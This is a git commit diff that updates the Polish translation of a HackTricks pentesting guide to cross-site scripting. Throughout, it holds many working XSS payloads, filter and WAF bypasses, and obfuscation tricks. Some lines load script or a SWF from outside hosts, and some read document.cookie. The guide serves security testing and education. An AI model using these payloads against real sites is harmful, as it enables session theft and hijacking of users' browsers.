mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-21 08:28:27 +00:00
Translated ['pentesting-web/xss-cross-site-scripting/README.md'] to pl
This commit is contained in:
Translator
parent
d75d6c7393
commit
2d607169b3
1 changed files with 93 additions and 72 deletions
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli interesuje Cię **kariera hakera** i hakiowanie rzeczy niemożliwych - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego_).
|
||||
Jeśli interesuje Cię **kariera hakera** i hakowanie rzeczy niemożliwych do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -18,22 +18,22 @@ Jeśli interesuje Cię **kariera hakera** i hakiowanie rzeczy niemożliwych - **
|
|||
3. Czy możesz ominąć zabezpieczenia?
|
||||
4. Czy zawartość HTML jest interpretowana przez jakikolwiek silnik JS po stronie klienta (_AngularJS_, _VueJS_, _Mavo_...), możesz wykorzystać [**Wstrzyknięcie Szablonu Po Stronie Klienta**](../client-side-template-injection-csti.md).
|
||||
5. Jeśli nie możesz tworzyć tagów HTML wykonujących kod JS, czy możesz wykorzystać [**Zawieszone Znaczniki - Wstrzyknięcie HTML bez skryptów**](../dangling-markup-html-scriptless-injection/)?
|
||||
2. Wewnątrz **tagu HTML**:
|
||||
1. Czy możesz wyjść do surowego kontekstu HTML?
|
||||
2. Czy możesz tworzyć nowe zdarzenia/cechy do wykonania kodu JS?
|
||||
2. Wewnątrz tagu **HTML**:
|
||||
1. Czy możesz wyjść do kontekstu surowego HTML?
|
||||
2. Czy możesz tworzyć nowe zdarzenia/atr. do wykonania kodu JS?
|
||||
3. Czy atrybut, w którym utknąłeś, obsługuje wykonanie JS?
|
||||
4. Czy możesz ominąć zabezpieczenia?
|
||||
3. Wewnątrz **kodu JavaScript**:
|
||||
3. Wewnątrz kodu **JavaScript**:
|
||||
1. Czy możesz uniknąć tagu `<script>`?
|
||||
2. Czy możesz uniknąć ciągu znaków i wykonać inny kod JS?
|
||||
3. Czy twoje dane wejściowe są w literałach szablonu \`\`?
|
||||
4. Czy możesz ominąć zabezpieczenia?
|
||||
4. Funkcja JavaScript **wykonywana**
|
||||
4. Funkcja **JavaScript** jest **wykonywana**
|
||||
1. Możesz wskazać nazwę funkcji do wykonania, np.: `?callback=alert(1)`
|
||||
4. Jeśli jest **używana**:
|
||||
1. Możesz wykorzystać **DOM XSS**, zwróć uwagę, jak twoje dane wejściowe są kontrolowane i czy twoje **kontrolowane dane są używane przez jakikolwiek ujście.**
|
||||
1. Możesz wykorzystać **DOM XSS**, zwróć uwagę, jak twoje dane wejściowe są kontrolowane i czy twoje **kontrolowane dane wejściowe są używane przez jakikolwiek zbiornik.**
|
||||
|
||||
Pracując nad złożonym XSS, może być interesujące poznanie:
|
||||
Pracując nad złożonym XSS, może być interesujące wiedzieć o:
|
||||
|
||||
{% content-ref url="debugging-client-side-js.md" %}
|
||||
[debugging-client-side-js.md](debugging-client-side-js.md)
|
||||
|
|
@ -56,13 +56,13 @@ Próbując wykorzystać XSS, pierwszą rzeczą, którą musisz wiedzieć, jest *
|
|||
Jeśli twoje dane wejściowe są **odbijane na surowej stronie HTML**, będziesz musiał wykorzystać jakiś **tag HTML**, aby wykonać kod JS: `<img , <iframe , <svg , <script` ... to tylko kilka z wielu możliwych tagów HTML, których możesz użyć.\
|
||||
Pamiętaj również o [Wstrzyknięciu Szablonu Po Stronie Klienta](../client-side-template-injection-csti.md).
|
||||
|
||||
### Wewnątrz atrybutów tagów HTML
|
||||
### Wewnątrz atrybutu tagu HTML
|
||||
|
||||
Jeśli twoje dane wejściowe są odbijane wewnątrz wartości atrybutu tagu, możesz spróbować:
|
||||
|
||||
1. **Uciec z atrybutu i z tagu** (wtedy będziesz w surowym HTML) i utworzyć nowy tag HTML do wykorzystania: `"><img [...]`
|
||||
2. Jeśli **możesz uciec z atrybutu, ale nie z tagu** (`>` jest zakodowane lub usunięte), w zależności od tagu możesz **utworzyć zdarzenie**, które wykonuje kod JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), w zależności od **którego atrybutu** twoje dane są odbijane, jeśli kontrolujesz całą wartość lub tylko jej część, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie jak `onclick=`, będziesz mógł sprawić, żeby wykonywało dowolny kod, gdy zostanie kliknięte. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:` do wykonania dowolnego kodu: **`href="javascript:alert(1)"`**
|
||||
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), w zależności od **którego atrybutu** twoje dane są odbijane, **czy kontrolujesz całą wartość czy tylko jej część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie jak `onclick=`, będziesz mógł sprawić, żeby wykonywało dowolny kod, gdy zostanie kliknięte. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:` do wykonania dowolnego kodu: **`href="javascript:alert(1)"`**
|
||||
4. Jeśli twoje dane wejściowe są odbijane wewnątrz "**nieeksploatowalnych tagów**", możesz spróbować sztuczki z **`accesskey`**, aby wykorzystać lukę (będziesz potrzebował jakiegoś rodzaju inżyniera społecznego, aby to wykorzystać): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Dziwny przykład Angular wykonujący XSS, jeśli kontrolujesz nazwę klasy:
|
||||
|
|
@ -75,12 +75,12 @@ Dziwny przykład Angular wykonujący XSS, jeśli kontrolujesz nazwę klasy:
|
|||
|
||||
W tym przypadku twój input jest odbijany między tagami **`<script> [...] </script>`** na stronie HTML, wewnątrz pliku `.js` lub w atrybucie używającym protokołu **`javascript:`**:
|
||||
|
||||
* Jeśli jest odbijany między tagami **`<script> [...] </script>`**, nawet jeśli twój input jest wewnątrz jakichkolwiek cudzysłowów, możesz spróbować wstrzyknąć `</script>` i uciec z tego kontekstu. Działa to dlatego, że **przeglądarka najpierw analizuje tagi HTML**, a następnie zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `</script>` znajduje się wewnątrz kodu HTML.
|
||||
* Jeśli jest odbijany **wewnątrz łańcucha JS** i poprzedni trik nie działa, będziesz musiał **wyjść** ze stringa, **wykonać** swój kod i **zrekonstruować** kod JS (jeśli wystąpi błąd, nie zostanie wykonany):
|
||||
* Jeśli jest odbijany między tagami **`<script> [...] </script>`**, nawet jeśli twój input jest wewnątrz jakiegokolwiek rodzaju cudzysłowia, możesz spróbować wstrzyknąć `</script>` i uciec z tego kontekstu. Działa to dlatego, że **przeglądarka najpierw analizuje tagi HTML**, a następnie zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `</script>` znajduje się wewnątrz kodu HTML.
|
||||
* Jeśli jest odbijany **wewnątrz łańcucha JS** i poprzedni trik nie działa, będziesz musiał **wyjść** z łańcucha, **wykonać** swój kod i **zrekonstruować** kod JS (jeśli wystąpi błąd, nie zostanie wykonany):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
* Jeśli jest odbijany wewnątrz literałów szablonu, możesz **osadzać wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* Jeśli jest odbijany wewnątrz liter szablonowych, możesz **osadzać wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* **Kodowanie Unicode** działa, aby napisać **poprawny kod JavaScript**:
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
|
|
@ -106,7 +106,7 @@ Dobrym sposobem sprawdzenia, czy coś podanego bezpośrednio przez użytkownika
|
|||
|
||||
W przypadku, gdy jest podatne na atak, możesz **wywołać alert** wysyłając wartość: **`?callback=alert(1)`**. Jednakże, bardzo często te punkty końcowe będą **sprawdzać zawartość**, aby zezwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**).
|
||||
|
||||
Mimo tych ograniczeń nadal można wykonać pewne działania. Jest to możliwe, ponieważ można użyć tych prawidłowych znaków do **uzyskania dostępu do dowolnego elementu w DOM**:
|
||||
Mimo tych ograniczeń nadal można wykonać pewne czynności. Jest to możliwe, ponieważ można użyć tych prawidłowych znaków do **uzyskania dostępu do dowolnego elementu w DOM**:
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -120,9 +120,9 @@ parentElement
|
|||
```
|
||||
Możesz również spróbować **wywołać funkcje Javascript** bezpośrednio: `obj.sales.delOrders`.
|
||||
|
||||
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję są punktami końcowymi bez zbyt interesującego DOM, **inne strony w tej samej domenie** będą miały **bardziej interesujący DOM** do wykonania więcej działań.
|
||||
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję są punktami końcowymi bez zbyt interesującego DOM, **inne strony w tej samej domenie** będą miały **bardziej interesujący DOM** do wykonania większej liczby działań.
|
||||
|
||||
Dlatego, aby **wykorzystać tę lukę w zabezpieczeniach w innym DOM**, opracowano eksploatację **Metody Wykonania w Tej Samej Domenie (SOME)**:
|
||||
Dlatego też, aby **wykorzystać tę podatność w innym DOM**, opracowano eksploatację **Same Origin Method Execution (SOME)**:
|
||||
|
||||
{% content-ref url="some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
||||
|
|
@ -130,7 +130,7 @@ Dlatego, aby **wykorzystać tę lukę w zabezpieczeniach w innym DOM**, opracowa
|
|||
|
||||
### DOM
|
||||
|
||||
Istnieje **kod JS**, który **niebezpiecznie** korzysta z **danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący mógłby wykorzystać to do wykonania arbitralnego kodu JS.
|
||||
Istnieje **kod JS**, który **niebezpiecznie** korzysta z pewnych **danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący mógłby wykorzystać to do wykonania arbitralnego kodu JS.
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
|
@ -138,7 +138,7 @@ Istnieje **kod JS**, który **niebezpiecznie** korzysta z **danych kontrolowanyc
|
|||
|
||||
### **Uniwersalne XSS**
|
||||
|
||||
Ten rodzaj XSS można znaleźć **wszędzie**. Nie zależą one tylko od eksploatacji klienta aplikacji internetowej, ale od **dowolnego** **kontekstu**. Ten rodzaj **arbitralnego wykonania JavaScript** może nawet być wykorzystany do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach, i więcej.\
|
||||
Ten rodzaj XSS można znaleźć **wszędzie**. Nie zależą one tylko od eksploatacji klienta aplikacji internetowej, ale od **dowolnego** **kontekstu**. Ten rodzaj **wykonywania arbitralnego kodu JavaScript** może nawet być wykorzystany do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach, oraz więcej.\
|
||||
Kilka **przykładów**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
|
@ -149,7 +149,7 @@ Kilka **przykładów**:
|
|||
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Obchodzenie WAF za pomocą kodowania obrazu
|
||||
## Obchodzenie WAF kodowanie obrazu
|
||||
|
||||
.jpg>)
|
||||
|
||||
|
|
@ -178,7 +178,7 @@ Jeśli nie znalazłeś żadnego poprawnego tagu HTML, możesz spróbować **stwo
|
|||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Pomijanie czarnej listy
|
||||
### Ominięcie czarnej listy
|
||||
|
||||
Jeśli jest używana jakaś forma czarnej listy, możesz spróbować ją ominąć za pomocą kilku głupich sztuczek:
|
||||
```javascript
|
||||
|
|
@ -230,7 +230,7 @@ onerror=alert`1`
|
|||
//Use more than one
|
||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||
```
|
||||
### Długość pomijania (małe XSSy)
|
||||
### Długość pominięcia (małe XSSy)
|
||||
|
||||
{% hint style="info" %}
|
||||
**Więcej małych XSS dla różnych środowisk** ładunek [**można znaleźć tutaj**](https://github.com/terjanq/Tiny-XSS-Payloads) oraz [**tutaj**](https://tinyxss.terjanq.me).
|
||||
|
|
@ -242,23 +242,23 @@ onerror=alert`1`
|
|||
<script src=//℡㏛.pw>
|
||||
```
|
||||
Ostatni z nich używa 2 znaków Unicode, które rozszerzają się do 5: telsr\
|
||||
Więcej tych znaków można znaleźć [tutaj](https://www.unicode.org/charts/normalization/).\
|
||||
Aby sprawdzić, w jakie znaki są rozkładane, sprawdź [tutaj](https://www.compart.com/en/unicode/U+2121).
|
||||
Więcej takich znaków można znaleźć [tutaj](https://www.unicode.org/charts/normalization/).\
|
||||
Aby sprawdzić, które znaki są rozkładane, sprawdź [tutaj](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Jeśli do wykorzystania podatności potrzebujesz, aby **użytkownik kliknął link lub formularz** z wstępnie wypełnionymi danymi, możesz spróbować [**wykorzystać Clickjacking**](../clickjacking.md#xss-clickjacking) (jeśli strona jest podatna).
|
||||
|
||||
### Niemożliwe - Wiszące znaczniki
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
Jeśli uważasz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Wiszące znaczniki**](../dangling-markup-html-scriptless-injection/), ponieważ możesz **wykorzystać** podatność **bez** wykonania **kodu JS**.
|
||||
Jeśli uważasz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Danglig Markup**](../dangling-markup-html-scriptless-injection/), ponieważ możesz **wykorzystać** podatność **bez** wykonania **kodu JS**.
|
||||
|
||||
## Wstrzykiwanie wewnątrz tagu HTML
|
||||
|
||||
### Wewnątrz tagu/ucieczka z wartości atrybutu
|
||||
|
||||
Jeśli jesteś **wewnątrz tagu HTML**, pierwszą rzeczą, którą możesz spróbować, jest **ucieczka** z tagu i użycie niektórych technik wymienionych w [poprzednim rozdziale](./#injecting-inside-raw-html) do wykonania kodu JS.\
|
||||
Jeśli **nie możesz uciec z tagu**, możesz utworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając pewnego ładunku takiego jak (_zauważ, że w tym przykładzie cudzysłowy są używane do ucieczki z atrybutu, nie będą one potrzebne, jeśli twoje dane wejściowe są odzwierciedlane bezpośrednio w tagu_):
|
||||
Jeśli **nie możesz uciec z tagu**, możesz utworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając pewnego ładunku, jak (_zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będą one potrzebne, jeśli twoje dane wejściowe są odzwierciedlane bezpośrednio wewnątrz tagu_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
|
@ -273,9 +273,9 @@ Jeśli **nie możesz uciec z tagu**, możesz utworzyć nowe atrybuty wewnątrz t
|
|||
#moving your mouse anywhere over the page (0-click-ish):
|
||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||
```
|
||||
### Wewnątrz atrybutu
|
||||
### W atrybucie
|
||||
|
||||
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowany lub usuwany), w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana, **czy kontrolujesz całą wartość czy tylko jej część**, będziesz mógł ją nadużyć. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu.\
|
||||
Nawet jeśli **nie możesz uciec od atrybutu** (`"` jest kodowany lub usuwany), w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana, **czy kontrolujesz całą wartość czy tylko jej część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, żeby wykonywało dowolny kod po kliknięciu.\
|
||||
Innym interesującym **przykładem** jest atrybut `href`, gdzie można użyć protokołu `javascript:` do wykonania dowolnego kodu: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Ominięcie wewnątrz zdarzenia za pomocą kodowania HTML/kodowania URL**
|
||||
|
|
@ -311,7 +311,7 @@ Zauważ, że **każdy rodzaj kodowania HTML jest poprawny**:
|
|||
```
|
||||
### Specjalne protokoły wewnątrz atrybutu
|
||||
|
||||
Możesz tutaj użyć protokołów **`javascript:`** lub **`data:`** w niektórych miejscach, aby **wykonać dowolny kod JS**. Niektóre będą wymagać interakcji użytkownika, a inne nie.
|
||||
W niektórych miejscach można użyć protokołów **`javascript:`** lub **`data:`** do **wykonania arbitralnego kodu JS**. Wymaga to interakcji użytkownika w niektórych przypadkach, a w innych nie.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
|
|
@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**Miejsca, w których można wstrzyknąć te protokoły**
|
||||
|
||||
**Ogólnie** protokół `javascript:` można **użyć w dowolnym tagu, który akceptuje atrybut `href`** oraz w **większości** tagów akceptujących atrybut **`src`** (ale nie w `<img`)
|
||||
**Generalnie** protokół `javascript:` można **użyć w dowolnym znaczniku akceptującym atrybut `href`** oraz w **większości** znaczników akceptujących atrybut **`src`** (ale nie `<img`)
|
||||
```markup
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
|
|
@ -353,19 +353,19 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||||
<iframe srcdoc="<svg onload=alert(4);>">
|
||||
```
|
||||
**Inne sztuczki obfuskacji**
|
||||
**Inne sztuczki maskowania**
|
||||
|
||||
_**W tym przypadku kodowanie HTML i sztuczka kodowania Unicode z poprzedniej sekcji są również ważne, ponieważ znajdujesz się w atrybucie.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Ponadto istnieje inny **fajny trik** dla tych przypadków: Nawet jeśli twój **wejście wewnątrz `javascript:...` jest kodowane URL**, zostanie ono zdekodowane przed wykonaniem. Więc jeśli musisz **wyrwać się** ze **stringa** używając **pojedynczego cudzysłowu** i widzisz, że **jest on kodowany URL**, pamiętaj, że **to nie ma znaczenia**, zostanie to **zinterpretowane** jako **pojedynczy cudzysłów** podczas **wykonywania**.
|
||||
Ponadto istnieje inny **fajny trik** dla tych przypadków: Nawet jeśli twój input wewnątrz `javascript:...` jest kodowany URL, zostanie on zdekodowany przed wykonaniem. Więc jeśli musisz **wyrwać się** ze **stringa** używając pojedynczego cudzysłowu i widzisz, że jest on kodowany URL, pamiętaj, że to nie ma znaczenia, zostanie on zinterpretowany jako pojedynczy cudzysłów podczas czasu wykonania.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Zauważ, że jeśli spróbujesz **użyć jednocześnie** `URLencode + HTMLencode` w dowolnej kolejności do zakodowania **payloadu**, to **nie** **zadziała**, ale możesz je **mieszać wewnątrz payloadu**.
|
||||
Zauważ, że jeśli spróbujesz **użyć zarówno** `URLencode + HTMLencode` w dowolnej kolejności, aby zakodować **payload**, to **nie zadziała**, ale możesz **mieszać je wewnątrz payloadu**.
|
||||
|
||||
**Używanie kodowania szesnastkowego i ósemkowego z `javascript:`**
|
||||
|
||||
|
|
@ -381,20 +381,20 @@ Możesz użyć **kodowania szesnastkowego** i **kodowania ósemkowego** wewnątr
|
|||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### Odwrócenie uwagi nabijania
|
||||
### Odwrócone przejęcie karty
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Jeśli możesz wstrzyknąć dowolny adres URL w arbitralny tag **`<a href=`** zawierający atrybuty **`target="_blank"`** i **`rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
|
||||
Jeśli możesz wstrzyknąć dowolny adres URL w arbitralny tag **`<a href=`** zawierający atrybuty **`target="_blank" and rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### na Bypassach Obsług Zdarzeń
|
||||
### na Bypassach Obsługujących Zdarzenia
|
||||
|
||||
Po pierwsze sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) w poszukiwaniu przydatnych **obsług zdarzeń "on"**.\
|
||||
W przypadku, gdy istnieje czarna lista uniemożliwiająca tworzenie tych obsług zdarzeń, możesz spróbować następujących bypassów:
|
||||
Po pierwsze sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) w poszukiwaniu przydatnych **obsługujących zdarzenia "on"**.\
|
||||
W przypadku, gdy istnieje jakaś czarna lista uniemożliwiająca tworzenie tych obsługujących zdarzenia, możesz spróbować następujących bypassów:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
|
@ -424,21 +424,21 @@ A w **meta tagach**:
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **payload XSS w atrybucie ukrytym**, pod warunkiem, że uda ci się **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W przeglądarce Firefox Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a w systemie OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie klucza dostępu. Oto wektor:
|
||||
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **payload XSS wewnątrz atrybutu ukrytego**, pod warunkiem, że uda ci się **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W przeglądarce Firefox na Windowsie/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a na OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie klucza dostępu. Oto wektor:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**Payload XSS będzie wyglądać mniej więcej tak: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Ominięcie czarnej listy
|
||||
### Ominięcia czarnej listy
|
||||
|
||||
W tej sekcji już przedstawiono kilka sztuczek związanych z użyciem różnych kodowań. Wróć, aby dowiedzieć się, gdzie możesz użyć:
|
||||
|
||||
* **Kodowania HTML (tagi HTML)**
|
||||
* **Kodowania Unicode (może być poprawnym kodem JS):** `\u0061lert(1)`
|
||||
* **Kodowania URL**
|
||||
* **Kodowania szesnastkowego i ósemkowego**
|
||||
* **Kodowania danych**
|
||||
* **kodowania HTML (tagi HTML)**
|
||||
* **kodowania Unicode (może być poprawnym kodem JS):** `\u0061lert(1)`
|
||||
* **kodowania URL**
|
||||
* **kodowania szesnastkowego i ósemkowego**
|
||||
* **kodowania danych**
|
||||
|
||||
**Ominięcia dla tagów i atrybutów HTML**
|
||||
|
||||
|
|
@ -454,7 +454,7 @@ Jeśli znalazłeś **XSS w bardzo małej części** strony internetowej, która
|
|||
|
||||
Na przykład, możesz dodać pewne style do elementu, takie jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Jeśli jednak WAF filtrowanie atrybutu stylu, możesz użyć Gadżetów Stylizacji CSS, więc jeśli znajdziesz, na przykład
|
||||
Jeśli jednak WAF filtrować będzie atrybut stylu, możesz użyć Gadżetów Stylowania CSS, więc jeśli znajdziesz na przykład
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
|
|
@ -478,11 +478,11 @@ Jeśli twój kod jest wstawiany między `<script> [...] var input = 'reflected d
|
|||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego cudzysłowu**. Dzieje się tak, ponieważ **przeglądarka najpierw wykonuje analizę HTML**, która polega na identyfikowaniu elementów strony, w tym bloków skryptów. Analiza JavaScriptu w celu zrozumienia i wykonania osadzonych skryptów odbywa się dopiero później.
|
||||
Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego cudzysłowu**. Dzieje się tak dlatego, że **przeglądarka najpierw wykonuje analizę HTML**, która polega na identyfikowaniu elementów strony, w tym bloków skryptów. Analiza JavaScriptu w celu zrozumienia i wykonania osadzonych skryptów jest przeprowadzana dopiero później.
|
||||
|
||||
### Wewnątrz kodu JS
|
||||
|
||||
Jeśli `<>` są oczyszczane, nadal możesz **użyć znaków ucieczki w ciągu znaków**, gdzie znajduje się **twoje dane wejściowe** i **wykonać dowolny kod JS**. Ważne jest, aby **poprawić składnię JS**, ponieważ w przypadku jakichkolwiek błędów kod JS nie zostanie wykonany:
|
||||
Jeśli `<>` są oczyszczane, nadal możesz **wyjść ze stringa**, gdzie znajduje się twoje wejście i **wykonać dowolny kod JS**. Ważne jest, aby **poprawić składnię JS**, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
|
|
@ -490,9 +490,8 @@ Jeśli `<>` są oczyszczane, nadal możesz **użyć znaków ucieczki w ciągu zn
|
|||
```
|
||||
### Szablony literałów \`\`
|
||||
|
||||
Aby skonstruować **ciągi znaków** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `**. Jest to znane jako szablony literałów, ponieważ pozwalają one na **osadzanie wyrażeń JS** za pomocą składni `${ ... }`.
|
||||
|
||||
Dlatego jeśli zauważysz, że wprowadzone dane są **odzwierciedlane** wewnątrz ciągu znaków JS, który używa backticków, możesz nadużyć składni `${ ... }` do wykonania **dowolnego kodu JS**:
|
||||
Aby skonstruować **ciągi znaków** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `**. Jest to znane jako szablony literałów, ponieważ pozwalają one na **osadzanie wyrażeń JS** za pomocą składni `${ ... }`.\
|
||||
Dlatego jeśli zauważysz, że wprowadzone dane są **odzwierciedlane** wewnątrz ciągu znaków JS korzystającego z backticków, możesz nadużyć składni `${ ... }` do wykonania **dowolnego kodu JS**:
|
||||
|
||||
Można to **wykorzystać** używając:
|
||||
```javascript
|
||||
|
|
@ -564,7 +563,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Nowe linie JavaScript (z triku** [**Nowa linia w JavaScript**](./#javascript-new-lines) **)**
|
||||
**Nowe linie w JavaScript (z trikiem od** [**nowej linii w JavaScript**](./#javascript-new-lines) **)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||
|
|
@ -736,7 +735,7 @@ top[8680439..toString(30)](1)
|
|||
````
|
||||
## **Luki w DOM**
|
||||
|
||||
Istnieje **kod JS**, który używa **niebezpiecznych danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący mógłby wykorzystać to do wykonania arbitralnego kodu JS.\
|
||||
Istnieje **kod JS**, który używa **niebezpiecznych danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący mógłby to wykorzystać do wykonania arbitralnego kodu JS.\
|
||||
**Ze względu na rozszerzenie wyjaśnień na temat** [**luk w DOM przeniesiono na tę stronę**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
|
|
@ -744,13 +743,35 @@ Istnieje **kod JS**, który używa **niebezpiecznych danych kontrolowanych przez
|
|||
{% endcontent-ref %}
|
||||
|
||||
Tam znajdziesz szczegółowe **wyjaśnienie, czym są luki w DOM, jak są wywoływane i jak je wykorzystać**.\
|
||||
Nie zapomnij również, że **na końcu wspomnianego posta** znajdziesz wyjaśnienie na temat [**ataków clobbering w DOM**](dom-xss.md#dom-clobbering).
|
||||
